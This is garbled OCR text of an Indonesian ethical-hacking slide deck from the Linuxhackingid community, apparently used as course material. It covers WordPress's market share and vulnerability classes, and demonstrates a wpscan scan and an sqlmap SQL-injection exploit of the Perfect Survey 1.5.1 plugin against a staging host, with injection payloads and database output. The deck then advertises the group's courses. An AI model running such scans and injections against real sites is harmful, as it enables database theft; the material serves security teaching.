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WORDPRESS

Apa itu Wordpress?

WordPress adalah platform open-source yang digunakan untuk
membuat, mengelola, dan mempublikasikan situs web atau

blog.

vy CMS PLATFORMS BY TOTAL CMS MARKET SHARE
Menurut data dari Zipia tahun

2024, WordPress adalah CMS
yang paling banyak digunakan
di dunia, dengan pangsa pasar
64,9%. Data ini menunjukkan

bahwa WordPress

mendominasi  pasar CMS

@ WordPress Shopify Joomla @ Squarespace @) Wix

dibandingkan platform lain.

@ Others
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WORDPRESS
VULNERABILITY
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» WORDPRESS VULNERABILITY STATISTICS

720,316 108,528
58001 038 0

Vulnerabilities in Our Database

~ 28,776 ~ 760

Themes WordPress Versions

» VULNERABILITIES BY COMPONENT
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at dan populer. Kerentanan umum yang sering disorot di WordPress:

RREN-source-nya, Outdated components, Weak passwords, SQL
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gan .da plugin request forgery (CSRF), File upload exploits, XML-

IOI Ak RPC abuse, Directory traversal, Default settings,
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» WPSCAN
» wpscan --url --force --disable-tls-checks

)-[~]
[:_ wpscan --url https://staging.linuxhackingid.com --force --disable-tls-checks
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WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
o WPScan , gethicalhack3r, gerwan lr, afirefart

[+] URL: https://staging.linuxhackingid.com/ [192.168.23.129]
[+] Started: Sat Jan 11 14:01:31 2025

» DETECTED PLUGINS PERFECT SURVEY

| The version could not be determined.

[+] perfect-survey
Location: https://staging.linuxhackingid.com/wp-content/plugins/perfect-survey/
Latest Version: 1.5.1 (up to date)
Last Updated: 2021-06-11T12:09:00.0002Z

Found By: Urls In Homepage (Passive Detection)
Confirmed By: Urls In 404 Page (Passive Detection)

Version: 1.5.1 (100% confidence)

Found By: Readme - Stable Tag (Aggressive Detection)

- https://staging.linuxhackingid.com/wp-content/plugins/perfect-survey/readme.txt
Confirmed By: Readme - Changelog Section (Aggressive Detection)

- https://staging.linuxhackingid.com/wp-content/plugins/perfect-survey/readme.txt
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WORDPRESS o
PLUGIN EXPLOIT

» SQLMAP EXPLOIT PERFECT SURVEY V.1.5.1

» sglmap "https://stagingdinuxhackingid.com/wp-admin/admin-ajax.php?
action=get_question&qguestion id=1*" --dbs --random-agent --level 3 --
risk 3

» GET DATABASES

o information_schema

mysql
olsdbname

performance_schema

Sys

sqglmap identified the

following injection point(s) with a total of 9589 HTTP(s) requests:

Parameter: question_id (GET)
Type: boolean-based blind

vallable datab

[*] information_schema

[*] mysql

[*] olsdbname

[#*] performance_schema
[*] sys

Linuxhackingid

sed blind - WHERE or HAVING clause
t_questionbquestion_id=-8371 OR 6426=6426

olind - Parameter replace
on_id=(CASE WHEN (2090=2090) THEN SLEEP(5) ELSE 2090 END)

d mode. Please consider usage of option '--threads' for faster data retrieval

www.linuxhackingid.com




OUR PRACTICAL COURSES
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«{, PRACTICAL ETHICAL HACKING
wf FUNDAMENTAL

PRACTICAL WEB APPLICATION
8" |ACKING & PENTESTING

PRACTICAL PYTHON3 HACKING
FOR BEGINNER

PRACTICAL LINUX SECURITY
(Al ARDENING

B PRACTICAL NETWORK SECURITY &
| NETWORK PENETRATION TESTING

PRACTICAL NESSUS

VULNERABILITY SCANNING
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https://linuxhackingid.com/courses/practical-nessus-vulnereability-scanning/
https://linuxhackingid.com/courses/practical-nessus-vulnereability-scanning/
https://linuxhackingid.com/service/practical-web-application-hacking-pentesting/
https://linuxhackingid.com/service/practical-web-application-hacking-pentesting/
https://linuxhackingid.com/courses/practical-python3-hacking-for-beginner/
https://linuxhackingid.com/courses/practical-python3-hacking-for-beginner/
https://linuxhackingid.com/courses/practical-linux-security-hardening/
https://linuxhackingid.com/courses/practical-linux-security-hardening/
https://linuxhackingid.com/courses/practical-network-security-network-pentesting/
https://linuxhackingid.com/courses/practical-network-security-network-pentesting/
https://linuxhackingid.com/service/practical-ethical-hacking-fundamental/
https://linuxhackingid.com/service/practical-ethical-hacking-fundamental/

Linuxhackingid

INTRODUCTION

ABOUT US.

L

Linuxhackingid adalah komunitas besar di Indonesia yang
didirikan oleh Walid Badeges, dengan fokus pada
pembelajaran hacking etis dan keamanan siber. Anggota
komunitas ini dapat saling berbagi pengetahuan dan
pengalaman, serta mengakses berbagai sumber daya seperti
tools dan proyek open source. Dengan lebih dari 12.000
anggota, Linuxhackingid menjadi tempat yang ideal bagi
mereka yang ingin mendalami dunia hacking etis dan
keamanan siber. Belajar di Linuxhackingid tidak hanya
meningkatkan keterampilan teknis tetapi juga membuka

peluang karir di bidang keamanan siber.

inuxhackingid

Belajar di Linuxhackingid tidak hanya meningkatkan keterampilan teknis Anda,

tetapi juga membuka peluang karir di bidang keamanan siber dengan dukungan
dari komunitas yang supportive dan penuh dengan sumber daya berguna. Selain
itu, anggota komunitas akan mendapatkan akses eksklusif ke pembaruan terkini

dan perkembangan terbaru dalam dunia keamanan siber yang terus berubah.

12.000+ 6000+ o5+ 6+

W

HAT WE DO

Comprehensive Courses: Kami menyediakan berbagai kursus yang mencakup berbagai
aspek hacking etis dan keamanan siber, dari tingkat pemula hingga tingkat lanjutan.
Practical Tutorials: Tutorial kami menawarkan pengalaman langsung, membimbing
anggota melalui skenario dunia nyata dan aplikasi praktis.

Community Support: Bergabunglah dengan komunitas yang suportif dan dinamis dengan
lebih dari 12.000 anggota di mana Anda dapat berbagi pengetahuan, mengajukan
pertanyaan, dan berkolaborasi dalam proyek.

Access to Resources: Manfaatkan berbagai sumber daya, termasuk tools, proyek open
source, dan pembaruan terbaru di keamanan siber.

Career Development: Kami fokus membantu anggota kami membangun karir yang
sukses di keamanan siber dengan menawarkan peluang jaringan dan bimbingan dari para

profesional berpengalaman.
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